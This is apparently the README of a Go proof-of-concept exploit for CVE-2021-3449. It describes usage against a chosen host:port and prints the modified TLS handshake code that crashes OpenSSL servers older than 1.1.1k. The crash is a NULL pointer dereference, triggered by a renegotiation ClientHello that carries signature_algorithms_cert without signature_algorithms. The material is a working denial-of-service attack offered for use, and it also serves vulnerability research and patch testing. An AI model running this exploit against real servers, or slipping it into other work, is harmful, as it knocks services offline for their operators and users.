Usage: go run . -host hostname:port
This program implements a proof-of-concept exploit of CVE-2021-3449 affecting OpenSSL servers pre-1.1.1k if TLSv1.2 secure renegotiation is accepted.
It connects to a TLSv1.2 server and immediately initiates an RFC 5746 "secure renegotiation".
The attack involves a maliciously-crafted ClientHello
that causes the server to crash
by causing a NULL pointer dereference (Denial-of-Service).
main.go
is a tiny script that connects to a TLS server, forces a renegotiation, and disconnects.
The exploit code was injected into a bundled version of the Go 1.14.15 encoding/tls
package.
You can find it in handshake_client.go:115
. The logic is self-explanatory.
// CVE-2021-3449 exploit code.
if hello.vers >= VersionTLS12 {
if c.handshakes == 0 {
println("initial handshake")
hello.supportedSignatureAlgorithms = supportedSignatureAlgorithms
} else {
// OpenSSL pre-1.1.1k runs into a NULL-pointer dereference
// if the supported_signature_algorithms extension is omitted,
// but supported_signature_algorithms_cert is present.
println("malicious handshake")
hello.supportedSignatureAlgorithmsCert = supportedSignatureAlgorithms
}
}
โ terorie
This repository bundles the encoding/tls
package of the Go programming language.
// Copyright 2009 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.